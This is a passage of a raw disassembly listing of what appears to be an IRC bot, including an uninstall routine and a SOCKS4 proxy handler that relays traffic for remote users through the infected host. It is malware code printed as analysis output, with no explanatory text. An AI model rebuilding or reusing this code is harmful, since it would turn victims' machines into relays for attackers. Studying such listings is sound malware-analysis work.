shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_104]
push eax
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_4072DB
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B8C[eax*4]
call sub_4105FB
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
mov eax, [ebp+var_108]
shl eax, 1
push off_418B8C[eax*4]
push 0
call sub_406C51
add esp, 0Ch
mov eax, [ebp+var_108]
shl eax, 1
push off_418B88[eax*4]
call sub_4105AD
pop ecx
mov eax, [ebp+var_108]
shl eax, 1
push off_418B8C[eax*4]
call sub_4105AD
pop ecx
lea eax, [ebp+var_20C]
push eax
call sub_406CF8
pop ecx
push eax
call sub_406D90
pop ecx
test eax, eax
jz short loc_4072D9
push offset dword_41EB2C
push offset aQuitSUninstall ; "QUIT :%s uninstalled."
call sub_40D6CB
pop ecx
pop ecx
call ds:dword_417254 ; WSACleanup
push 0
call ds:dword_41705C ; ExitProcess
loc_4072D9: ; CODE XREF: sub_407148+170j
jmp short locret_40732B
; ---------------------------------------------------------------------------
loc_4072DB: ; CODE XREF: sub_407148+D8j
jmp loc_40717A
; ---------------------------------------------------------------------------
loc_4072E0: ; CODE XREF: sub_407148+4Fj
push offset dword_41EB2C
push offset aWindowsDllLoad ; "Windows DLL Loader"
push 0
call sub_406C51
add esp, 0Ch
lea eax, [ebp+var_20C]
push eax
call sub_406CF8
pop ecx
push eax
call sub_406D90
pop ecx
test eax, eax
jz short locret_40732B
push offset dword_41EB2C
push offset aQuitSUninstall ; "QUIT :%s uninstalled."
call sub_40D6CB
pop ecx
pop ecx
call ds:dword_417254 ; WSACleanup
push 0
call ds:dword_41705C ; ExitProcess
locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j
; sub_407148+1C2j
leave
retn
sub_407148 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40732D proc near ; DATA XREF: sub_40764D+145o
var_16F0 = dword ptr -16F0h
var_16EC = dword ptr -16ECh
var_16E8 = dword ptr -16E8h
var_16E4 = dword ptr -16E4h
var_16E0 = byte ptr -16E0h
var_6E0 = byte ptr -6E0h
var_5E0 = dword ptr -5E0h
var_5DC = byte ptr -5DCh
var_5D4 = dword ptr -5D4h
var_5D0 = byte ptr -5D0h
var_5CF = byte ptr -5CFh
var_5CE = dword ptr -5CEh
var_5C8 = byte ptr -5C8h
var_1C8 = dword ptr -1C8h
var_1BE = byte ptr -1BEh
var_1AE = byte ptr -1AEh
var_1B = byte ptr -1Bh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 16F0h
call sub_416BC0
push 1BDh
push [ebp+arg_0]
lea eax, [ebp+var_1C8]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
mov eax, [ebp+var_1C8]
mov [ebp+var_5D4], eax
push 0
push 408h
lea eax, [ebp+var_5D0]
push eax
push [ebp+var_5D4]
call ds:dword_417248 ; recv
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_40738F
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_407396
loc_40738F: ; CODE XREF: sub_40732D+5Aj
xor eax, eax
jmp locret_407649
; ---------------------------------------------------------------------------
loc_407396: ; CODE XREF: sub_40732D+60j
movzx eax, [ebp+var_5D0]
cmp eax, 4
jnz short loc_4073BA
movzx eax, [ebp+var_5CF]
cmp eax, 1
jnz short loc_4073BA
mov [ebp+var_16EC], 1
jmp short loc_4073C1
; ---------------------------------------------------------------------------
loc_4073BA: ; CODE XREF: sub_40732D+73j
; sub_40732D+7Fj
and [ebp+var_16EC], 0
loc_4073C1: ; CODE XREF: sub_40732D+8Bj
mov eax, [ebp+var_16EC]
mov [ebp+var_4], eax
movsx eax, [ebp+var_1BE]
test eax, eax
jz short loc_4073F5
push 10h
lea eax, [ebp+var_1BE]
push eax
lea eax, [ebp+var_5C8]
push eax
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_4073F5
and [ebp+var_4], 0
loc_4073F5: ; CODE XREF: sub_40732D+A6j
; sub_40732D+C2j
movsx eax, [ebp+var_1B]
test eax, eax
jz short loc_407456
lea eax, [ebp+var_6E0]
push eax
push [ebp+var_5D4]
call sub_4044F7
pop ecx
pop ecx
cmp [ebp+var_4], 0
jz short loc_407423
mov [ebp+var_16F0], offset byte_41DE30
jmp short loc_40742D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_40732D+E8j
mov [ebp+var_16F0], offset dword_418EEC
loc_40742D: ; CODE XREF: sub_40732D+F4j
push [ebp+var_16F0]
movzx eax, [ebp+var_5D0]
push eax
lea eax, [ebp+var_6E0]
push eax
push offset dword_418EB8
lea eax, [ebp+var_1AE]
push eax
call sub_40D53F
add esp, 14h
loc_407456: ; CODE XREF: sub_40732D+CEj
cmp [ebp+var_4], 0
jnz short loc_4074A0
push 8
push 0
lea eax, [ebp+var_5D0]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_5CF], 5Bh
push 8
lea eax, [ebp+var_5D0]
push eax
push [ebp+var_5D4]
call sub_4053BF
add esp, 0Ch
push [ebp+var_5D4]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_407649
; ---------------------------------------------------------------------------
loc_4074A0: ; CODE XREF: sub_40732D+12Dj
push 0Ah
lea eax, [ebp+var_5DC]
push eax
push [ebp+var_5CE]
call ds:dword_417238 ; htons
movzx eax, ax
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push 2710h
push 0
lea eax, [ebp+var_5DC]
push eax
push [ebp+var_5CE+2]
call ds:dword_41721C ; inet_ntoa
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_5E0], eax
push 8
push 0
lea eax, [ebp+var_5D0]
push eax
call sub_416B6A ; memset
add esp, 0Ch
cmp [ebp+var_5E0], 0
jnz short loc_407537
mov [ebp+var_5CF], 5Bh
push 8
lea eax, [ebp+var_5D0]
push eax
push [ebp+var_5D4]
call sub_4053BF
add esp, 0Ch
push [ebp+var_5D4]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_407649
; ---------------------------------------------------------------------------
loc_407537: ; CODE XREF: sub_40732D+1D7j
mov [ebp+var_5CF], 5Ah
push 8
lea eax, [ebp+var_5D0]
push eax
push [ebp+var_5D4]
call sub_4053BF
add esp, 0Ch
loc_407555: ; CODE XREF: sub_40732D+2FDj
push [ebp+var_5D4]
call sub_40447B
pop ecx
test eax, eax
jz short loc_4075BD
push 0
push 1000h
lea eax, [ebp+var_16E0]
push eax
push [ebp+var_5D4]
call ds:dword_417248 ; recv
mov [ebp+var_16E4], eax
cmp [ebp+var_16E4], 0
jz short loc_407597
cmp [ebp+var_16E4], 0FFFFFFFFh
jnz short loc_40759C
loc_407597: ; CODE XREF: sub_40732D+25Fj
jmp loc_40762F
; ---------------------------------------------------------------------------
loc_40759C: ; CODE XREF: sub_40732D+268j
push [ebp+var_16E4]
lea eax, [ebp+var_16E0]
push eax
push [ebp+var_5E0]
call sub_4053BF
add esp, 0Ch
test eax, eax
jnz short loc_4075BD
jmp short loc_40762F
; ---------------------------------------------------------------------------
loc_4075BD: ; CODE XREF: sub_40732D+236j
; sub_40732D+28Cj
push [ebp+var_5E0]
call sub_40447B
pop ecx
test eax, eax
jz short loc_407622
push 0
push 1000h
lea eax, [ebp+var_16E0]
push eax
push [ebp+var_5E0]
call ds:dword_417248 ; recv
mov [ebp+var_16E8], eax
cmp [ebp+var_16E8], 0
jz short loc_4075FF
cmp [ebp+var_16E8], 0FFFFFFFFh
jnz short loc_407601
loc_4075FF: ; CODE XREF: sub_40732D+2C7j
jmp short loc_40762F
; ---------------------------------------------------------------------------
loc_407601: ; CODE XREF: sub_40732D+2D0j
push [ebp+var_16E8]
lea eax, [ebp+var_16E0]
push eax
push [ebp+var_5D4]
call sub_4053BF
add esp, 0Ch
test eax, eax
jnz short loc_407622
jmp short loc_40762F
; ---------------------------------------------------------------------------
loc_407622: ; CODE XREF: sub_40732D+29Ej
; sub_40732D+2F1j
push 32h
call ds:dword_41709C ; Sleep
jmp loc_407555
; ---------------------------------------------------------------------------
loc_40762F: ; CODE XREF: sub_40732D:loc_407597j
; sub_40732D+28Ej ...
push [ebp+var_5D4]
call sub_40538D
pop ecx
push [ebp+var_5E0]
call sub_40538D
pop ecx
xor eax, eax
locret_407649: ; CODE XREF: sub_40732D+64j
; sub_40732D+16Ej ...
leave
retn 4
sub_40732D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40764D proc near ; DATA XREF: sub_4077DD+B4o
var_1CC = dword ptr -1CCh
var_1C8 = dword ptr -1C8h
var_1C4 = dword ptr -1C4h
var_1C0 = dword ptr -1C0h
var_1BC = byte ptr -1BCh
var_1B6 = byte ptr -1B6h
var_1A6 = byte ptr -1A6h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
push 1BDh
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 1
lea eax, [ebp+var_1BC]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_1C4], eax
cmp [ebp+var_1C4], 0
jnz short loc_4076A8
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4077D9
; ---------------------------------------------------------------------------
loc_4076A8: ; CODE XREF: sub_40764D+46j
lea eax, [ebp+var_1BC]
push eax
mov eax, [ebp+var_1C0]
push dword ptr [eax]
push offset dword_418EF8
lea eax, [ebp+var_1A6]
push eax
call sub_40D53F
add esp, 10h
loc_4076CB: ; CODE XREF: sub_40764D+B9j
; sub_40764D+E1j ...
push 3E8h
push [ebp+var_1C4]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_1C8], eax
mov eax, [ebp+var_1C0]
cmp dword ptr [eax+4], 0
jnz short loc_4076F8
cmp [ebp+var_1C8], 0
jnz short loc_4076FD
loc_4076F8: ; CODE XREF: sub_40764D+A0j
jmp loc_4077BF
; ---------------------------------------------------------------------------
loc_4076FD: ; CODE XREF: sub_40764D+A9j
cmp [ebp+var_1C8], 0FFFFFFFFh
jnz short loc_407708
jmp short loc_4076CB
; ---------------------------------------------------------------------------
loc_407708: ; CODE XREF: sub_40764D+B7j
push 1BDh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_1CC], eax
cmp [ebp+var_1CC], 0
jnz short loc_407730
push [ebp+var_1C8]
call sub_4053B1
pop ecx
jmp short loc_4076CB
; ---------------------------------------------------------------------------
loc_407730: ; CODE XREF: sub_40764D+D3j
mov eax, [ebp+var_1CC]
mov ecx, [ebp+var_1C8]
mov [eax], ecx
lea eax, [ebp+var_1BC]
push eax
mov eax, [ebp+var_1CC]
add eax, 4
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_1B6]
push eax
mov eax, [ebp+var_1CC]
add eax, 0Ah
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push 1A3h
lea eax, [ebp+var_1A6]
push eax
mov eax, [ebp+var_1CC]
add eax, 1Ah
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+var_1CC]
push offset sub_40732D
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_4077BA
push [ebp+var_1CC]
call sub_416B4C ; free
pop ecx
push [ebp+var_1C8]
call sub_4053B1
pop ecx
loc_4077BA: ; CODE XREF: sub_40764D+153j
jmp loc_4076CB
; ---------------------------------------------------------------------------
loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j
push [ebp+var_1C4]
call sub_404CBB
pop ecx
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
locret_4077D9: ; CODE XREF: sub_40764D+56j
leave
retn 4
sub_40764D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_4], 0
jnz short loc_40780F
push 0Ah
lea eax, [ebp+var_8]
push eax
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
lea eax, [ebp+var_8]
mov [ebp+arg_4], eax
loc_40780F: ; CODE XREF: sub_4077DD+Aj
push 1BDh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_407825
jmp short locret_40789E
; ---------------------------------------------------------------------------
loc_407825: ; CODE XREF: sub_4077DD+44j
push [ebp+arg_4]
mov eax, [ebp+var_C]
add eax, 4
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
cmp [ebp+arg_8], 0
jz short loc_407844
mov eax, [ebp+arg_8]
mov [ebp+var_10], eax
jmp short loc_40784B
; ---------------------------------------------------------------------------
loc_407844: ; CODE XREF: sub_4077DD+5Dj
mov [ebp+var_10], offset byte_41DE30
loc_40784B: ; CODE XREF: sub_4077DD+65j
push 10h
push [ebp+var_10]
mov eax, [ebp+var_C]
add eax, 0Ah
push eax
call sub_407A56
add esp, 0Ch
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_C]
add eax, 1Ah
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push offset dword_418F2C
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_C]
push offset sub_40764D
call sub_4095A4
add esp, 14h
locret_40789E: ; CODE XREF: sub_4077DD+46j
leave
retn
sub_4077DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4078B8
jmp short locret_4078E4
; ---------------------------------------------------------------------------
loc_4078B8: ; CODE XREF: sub_4078A0+14j
; sub_4078A0:loc_4078E2j
cmp [ebp+var_4], 0
jnz short loc_4078C0
jmp short locret_4078E4
; ---------------------------------------------------------------------------
loc_4078C0: ; CODE XREF: sub_4078A0+1Cj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_4078E0
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
and byte ptr [eax], 0
jmp short loc_4078E2
; ---------------------------------------------------------------------------
loc_4078E0: ; CODE XREF: sub_4078A0+33j
jmp short locret_4078E4
; ---------------------------------------------------------------------------
loc_4078E2: ; CODE XREF: sub_4078A0+3Ej
jmp short loc_4078B8
; ---------------------------------------------------------------------------
locret_4078E4: ; CODE XREF: sub_4078A0+16j
; sub_4078A0+1Ej ...
leave
retn
sub_4078A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
and [ebp+var_4], 0
jmp short loc_4078FC
; ---------------------------------------------------------------------------
loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4078FC: ; CODE XREF: sub_4078E6+Dj
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407923
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+arg_4]
cmp eax, ecx
jnz short loc_407921
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_407921: ; CODE XREF: sub_4078E6+32j
jmp short loc_4078F5
; ---------------------------------------------------------------------------
loc_407923: ; CODE XREF: sub_4078E6+21j
mov eax, [ebp+var_8]
leave
retn
sub_4078E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407928 proc near ; CODE XREF: sub_40E618+2Bp
; sub_40E618+185p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_10], 0
jnz short loc_407963
mov eax, [ebp+arg_10]
shl eax, 2
push eax
push 0
push [ebp+arg_8]
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_10]
shl eax, 2
push eax
push 0
push [ebp+arg_C]
call sub_416B6A ; memset
add esp, 0Ch
xor eax, eax
jmp locret_407A54
; ---------------------------------------------------------------------------
loc_407963: ; CODE XREF: sub_407928+Aj
push [ebp+arg_0]
push [ebp+arg_4]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push [ebp+arg_0]
call sub_40813C
add esp, 0Ch
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
mov [eax], ecx
mov [ebp+var_8], 1
jmp short loc_4079A1
; ---------------------------------------------------------------------------
loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_4079A1: ; CODE XREF: sub_407928+70j
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_10]
jge loc_407A51
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+eax*4-4], 0
jz short loc_407A0A
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push 0
call sub_40813C
add esp, 0Ch
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_8]
mov [edx+ecx*4], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+eax*4], 0
jz short loc_4079F8
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
mov eax, [ecx+eax*4]
sub eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+var_C], ecx
jmp short loc_4079FC
; ---------------------------------------------------------------------------
loc_4079F8: ; CODE XREF: sub_407928+B8j
and [ebp+var_C], 0
loc_4079FC: ; CODE XREF: sub_407928+CEj
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
mov [ecx+eax*4], edx
jmp short loc_407A4C
; ---------------------------------------------------------------------------
loc_407A0A: ; CODE XREF: sub_407928+90j
mov eax, [ebp+arg_10]
sub eax, [ebp+var_8]
shl eax, 2
push eax
push 0
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
lea eax, [ecx+eax*4]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+arg_10]
sub eax, [ebp+var_8]
shl eax, 2
push eax
push 0
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_C]
lea eax, [ecx+eax*4]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_8]
dec eax
jmp short locret_407A54
; ---------------------------------------------------------------------------
loc_407A4C: ; CODE XREF: sub_407928+E0j
jmp loc_40799A
; ---------------------------------------------------------------------------
loc_407A51: ; CODE XREF: sub_407928+7Fj
mov eax, [ebp+arg_10]
locret_407A54: ; CODE XREF: sub_407928+36j
; sub_407928+122j
leave
retn
sub_407928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407A56 proc near ; CODE XREF: sub_401146+6Bp
; sub_401146+CAp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_407A81
cmp ecx, 1
jz short loc_407A7E
loc_407A6E: ; CODE XREF: sub_407A56+26j
mov al, [esi]
mov [edi], al
test al, al
jz short loc_407A81
inc esi
inc edi
dec ecx
cmp ecx, 1
jnz short loc_407A6E
loc_407A7E: ; CODE XREF: sub_407A56+16j
mov byte ptr [edi], 0
loc_407A81: ; CODE XREF: sub_407A56+11j
; sub_407A56+1Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407A56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407A86 proc near ; CODE XREF: sub_4097A7+17p
; sub_4098F3+17p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_407A97
; ---------------------------------------------------------------------------
loc_407A90: ; CODE XREF: sub_407A86+3Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_407A97: ; CODE XREF: sub_407A86+8j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short loc_407AC6
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 30h
jl short loc_407AC2
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 39h
jg short loc_407AC2
jmp short loc_407A90
; ---------------------------------------------------------------------------
loc_407AC2: ; CODE XREF: sub_407A86+2Aj
; sub_407A86+38j
xor al, al
jmp short locret_407AC8
; ---------------------------------------------------------------------------
loc_407AC6: ; CODE XREF: sub_407A86+1Cj
mov al, 1
locret_407AC8: ; CODE XREF: sub_407A86+3Ej
leave
retn
sub_407A86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407ACA proc near ; CODE XREF: sub_401000+F6p
; sub_4148CE+61p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push [ebp+arg_8]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_4], eax
and [ebp+var_8], 0
and [ebp+var_C], 0
jmp short loc_407AED
; ---------------------------------------------------------------------------
loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
loc_407AED: ; CODE XREF: sub_407ACA+1Aj
mov eax, [ebp+arg_4]
sub eax, [ebp+var_4]
cmp [ebp+var_C], eax
jg short loc_407B5A
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_8]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jz short loc_407B37
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_8]
movsx ecx, byte ptr [ecx]
add ecx, 20h
cmp eax, ecx
jz short loc_407B37
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_8]
movsx ecx, byte ptr [ecx]
sub ecx, 20h
cmp eax, ecx
jnz short loc_407B58
loc_407B37: ; CODE XREF: sub_407ACA+3Fj
; sub_407ACA+55j
push [ebp+var_4]
push [ebp+arg_8]
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
push eax
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_407B58
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
jmp short locret_407B5C
; ---------------------------------------------------------------------------
loc_407B58: ; CODE XREF: sub_407ACA+6Bj
; sub_407ACA+84j
jmp short loc_407AE6
; ---------------------------------------------------------------------------
loc_407B5A: ; CODE XREF: sub_407ACA+2Cj
xor eax, eax
locret_407B5C: ; CODE XREF: sub_407ACA+8Cj
leave
retn
sub_407ACA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp
; sub_40E943+20p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
jmp short loc_407B70
; ---------------------------------------------------------------------------
loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_407B70: ; CODE XREF: sub_407B5E+9j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_407B85
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
jmp short locret_407BF3
; ---------------------------------------------------------------------------
loc_407B85: ; CODE XREF: sub_407B5E+1Dj
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 0Dh
jz short loc_407BA1
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 0Ah
jnz short loc_407BEE
loc_407BA1: ; CODE XREF: sub_407B5E+33j
and [ebp+var_8], 0
jmp short loc_407BAE
; ---------------------------------------------------------------------------
loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_407BAE: ; CODE XREF: sub_407B5E+47j
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
movsx eax, byte ptr [ecx+eax]
cmp eax, 0Dh
jz short loc_407BD2
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
movsx eax, byte ptr [ecx+eax]
cmp eax, 0Ah
jnz short loc_407BE1
loc_407BD2: ; CODE XREF: sub_407B5E+60j
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
and byte ptr [ecx+eax], 0
jmp short loc_407BEC
; ---------------------------------------------------------------------------
loc_407BE1: ; CODE XREF: sub_407B5E+72j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
add eax, [ebp+var_8]
jmp short locret_407BF3
; ---------------------------------------------------------------------------
loc_407BEC: ; CODE XREF: sub_407B5E+81j
jmp short loc_407BA7
; ---------------------------------------------------------------------------
loc_407BEE: ; CODE XREF: sub_407B5E+41j
jmp loc_407B69
; ---------------------------------------------------------------------------
locret_407BF3: ; CODE XREF: sub_407B5E+25j
; sub_407B5E+8Cj
leave
retn
sub_407B5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp
; sub_411A09+F3p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_0]
inc ecx
mov [ebp+arg_0], ecx
test eax, eax
jz short loc_407C2A
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_407C15
jmp short loc_407C2A
; ---------------------------------------------------------------------------
loc_407C15: ; CODE XREF: sub_407BF5+1Cj
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_407C28
mov eax, [ebp+arg_0]
and byte ptr [eax], 0
jmp short loc_407C2A
; ---------------------------------------------------------------------------
loc_407C28: ; CODE XREF: sub_407BF5+29j
jmp short loc_407BF8
; ---------------------------------------------------------------------------
loc_407C2A: ; CODE XREF: sub_407BF5+12j
; sub_407BF5+1Ej ...
pop ebp
retn
sub_407BF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p
; sub_40CA29+91p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
and [ebp+var_8], 0
and [ebp+var_4], 0
jmp short loc_407C49
; ---------------------------------------------------------------------------
loc_407C42: ; CODE XREF: sub_407C2C+31j
; sub_407C2C:loc_407CCDj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_407C49: ; CODE XREF: sub_407C2C+14j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 20h
jnz short loc_407C68
cmp [ebp+var_C], 0
jz short loc_407C5F
jmp short loc_407C42
; ---------------------------------------------------------------------------
loc_407C5F: ; CODE XREF: sub_407C2C+2Fj
mov [ebp+var_C], 1
jmp short loc_407C6C
; ---------------------------------------------------------------------------
loc_407C68: ; CODE XREF: sub_407C2C+29j
and [ebp+var_C], 0
loc_407C6C: ; CODE XREF: sub_407C2C+3Aj
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov cl, [ecx]
mov [eax], cl
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
